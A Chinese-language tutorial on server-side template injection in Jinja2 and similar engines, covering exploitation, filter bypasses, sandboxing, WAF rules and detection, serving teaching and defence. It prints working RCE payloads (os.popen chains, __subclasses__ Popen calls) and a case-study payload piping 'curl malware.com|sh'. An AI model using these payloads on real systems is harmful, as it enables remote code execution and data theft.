1. SSTI漏洞本质与危害解析
服务器端模板注入(Server-Side Template Injection)本质上是将用户输入作为模板代码解析执行的安全漏洞。当开发人员直接将用户可控数据拼接到模板中时,攻击者就能注入恶意模板指令。不同于常规注入攻击针对数据库或操作系统,SSTI直接威胁到应用逻辑层。
以Flask框架的Jinja2模板为例,正常情况下的模板渲染是这样的:
python复制template = "<h1>Hello {{ name }}!</h1>"
render_template_string(template, name=user_input)
但当开发者错误地采用危险写法时:
python复制template = "<h1>Hello " + user_input + "!</h1>"
render_template_string(template)
攻击者就可以注入{{ 7*7 }}这样的表达式,最终输出会显示计算后的49而非原始字符串。更危险的是,通过{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}这类payload可以直接执行系统命令。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 主流模板引擎特性对比
不同模板引擎的语法特性直接影响SSTI利用方式:
| 引擎名称 | 语法特征 | 危险函数示例 | 常见框架 |
|---|---|---|---|
| Jinja2 | {{ }}控制表达式 | class, mro, subclasses | Flask, Django |
| Twig | {{ }} | _self, env | Symfony |
| Freemarker | ${}或<#assign> | new, api | Spring |
| Velocity | #set() | Runtime.exec() | Apache Turbine |
| Smarty | PHP应用 |
特别需要注意的是,Java系的模板引擎(如Freemarker)通常可以通过Class.forName加载任意类,而Python系的Jinja2则依赖Python对象继承链进行利用。
3. 基础绕过手法实战演示
3.1 字符串拼接绕过过滤
当系统过滤了空格和特定关键词时:
python复制{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}
利用十六进制编码绕过关键字检测,等效于:
python复制{{request.__application__.__globals__}}
3.2 属性链式调用技巧
通过对象属性链获取敏感函数:
python复制{{''.__class__.__mro__[1].__subclasses__()[408]('whoami',shell=True,stdout=-1).communicate()}}
这个payload的解析过程:
''.__class__获取字符串类对象__mro__[1]定位到object基类__subclasses__()列出所有子类- 索引408找到subprocess.Popen类
- 执行系统命令并获取输出
3.3 过滤器滥用案例
Jinja2的过滤器本应进行数据格式化,但可能被滥用:
python复制{{ config|attr('__class__')|attr('__init__')|attr('__globals__')['os'].popen('id').read() }}
这里通过|attr过滤器逐步获取对象属性,避免直接使用点号表示法。
4. 防御方案设计要点
4.1 输入验证策略
建议采用白名单机制:
python复制import re
def safe_input(text):
if not re.match(r'^[a-zA-Z0-9\s]+$', text):
raise ValueError("Invalid characters detected")
return text
4.2 模板渲染最佳实践
安全的使用方式对比:
危险写法:
python复制template = """
<div>
User profile for %s
</div>
""" % username
render_template_string(template)
安全写法:
python复制template = """
<div>
User profile for {{ name }}
</div>
"""
render_template_string(template, name=username)
4.3 沙箱环境配置
对于必须动态渲染的场景,应配置严格沙箱:
python复制from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
env.from_string(template).render()
沙箱环境会禁用以下危险操作:
- 访问未显式传入的Python内置函数
- 导入模块或访问__import__
- 修改内置对象属性
- 访问以_开头的私有属性
5. 漏洞检测方法论
5.1 手工检测流程
- 识别模板参数注入点:
code复制http://example.com/profile?name={{7*7}}
- 观察响应中是否出现49
- 确认引擎类型:
code复制${7*7} # Freemarker
#{7*7} # Velocity
- 逐步尝试获取基本类对象
5.2 自动化扫描工具
推荐工具链组合:
- tplmap - 自动识别引擎并生成利用payload
- Burp Suite的SSTI扫描插件
- 自定义Python检测脚本:
python复制payloads = {
'Jinja2': '{{"a"*10}}',
'Twig': '{{"a"*10}}',
'Freemarker': '${"a"*10}'
}
6. 企业级防护方案
6.1 WAF规则配置示例
针对常见payload的防护规则:
code复制SecRule REQUEST_URI|REQUEST_BODY
"@rx \{\{.*__.*\}\}"
"id:10001,deny,msg:'SSTI Attack Detected'"
6.2 代码审计重点
需要重点检查的代码模式:
- 字符串拼接+模板渲染组合
- 动态模板文件加载
- 未过滤的render_template_string调用
- 模板中使用eval()或exec()
6.3 应急响应流程
确认漏洞后的处理步骤:
- 立即下线受影响服务
- 审计日志确定攻击范围
- 回滚到安全版本
- 更新模板渲染逻辑
- 添加运行时监控:
python复制import sys
sys.addaudithook(lambda event, args:
print(event) if 'template' in event else None)
7. 实战案例复盘
某电商平台漏洞利用过程:
- 发现商品评论支持Markdown渲染
- 测试输入
{{config}}泄露密钥 - 通过
{{''.__class__}}获取类对象 - 链式调用最终执行:
python复制{{ cycler.__init__.__globals__.os.popen('curl malware.com|sh').read() }}
攻击者借此窃取了整个数据库备份。
修复方案:
- 禁用动态模板渲染
- 引入严格的输出编码
- 对模板变量使用JSON序列化:
python复制import json
output = json.dumps(user_input)
